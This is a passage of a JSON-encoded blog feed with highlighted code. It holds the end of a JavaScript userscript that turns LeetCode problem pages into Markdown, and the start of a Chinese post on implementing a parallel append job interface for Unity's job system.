class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// console.log(node.innerText);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n```\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerText\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n```\\n\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strong\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;**\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;**\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;code\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;\u0026lt;/code\u0026gt;\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sup\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;sup\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;\u0026lt;/sup\u0026gt;\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ehandleHtml\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eturndown\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026gt; \u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eproblemTitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementsByClassName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;no-underline hover:text-blue-s dark:hover:text-dark-blue-s truncate cursor-text whitespace-normal hover:!text-[inherit]\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etextContent\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u0026gt; [\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eproblemTitle\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e](\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elocation\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ehref\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e)\\n\\n`\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/leetcode-problem-desc-to-markdown/"},{"title":"实现 IJobParallelForAppend","time":"2024-03-16T14:36:06Z","content":"\u003ch1 id=\"实现-IJobParallelForAppend\"\u003e实现 IJobParallelForAppend\u003ca class=\"headerlink\" href=\"#实现-IJobParallelForAppend\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003eUnity 的 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/manual/index.html\"\u003eCollections package\u003c/a\u003e 里有个 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobParallelForFilter.html\"\u003e\u003ccode\u003eIJobParallelForFilter\u003c/code\u003e\u003c/a\u003e。我翻了相关的源码,发现虽然它名字带个 Parallel,但根本不是并行的。它的全部逻辑都是在一个线程里做的。后来,Unity 就把它名字里的 Parallel 去掉了,改成 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilter.html\"\u003e\u003ccode\u003eIJobFilter\u003c/code\u003e\u003c/a\u003e。理由是\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003eIJobParallelForFilter\u003c/code\u003e renamed to \u003ccode\u003eIJobFilter\u003c/code\u003e to better reflect functionality. \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我有并行的需求,自己实现了一个超级加强版。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[JobProducerType(typeof(IJobParallelForAppendExtensions.ParallelForAppendProducer\u0026lt;,\u0026gt;))]\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e它可以并行 Append 任意的 unmanaged 数据,不再局限于 \u003ccode\u003eindex\u003c/code\u003e。有点像 Compute Shader 那套东西。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eindex\u003c/code\u003e 是 for 循环当前的索引。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e 是一个临时缓冲区。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果 \u003ccode\u003eExecute\u003c/code\u003e 返回 \u003ccode\u003etrue\u003c/code\u003e,\u003ccode\u003ebuf\u003c/code\u003e 的值会被 Append 到结果里。\u003c/p\u003e\n\u003ch2 id=\"样例\"\u003e样例\u003ca class=\"headerlink\" href=\"#样例\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[BurstCompile]\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eJobTest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMonoBehaviour\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eStart\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan 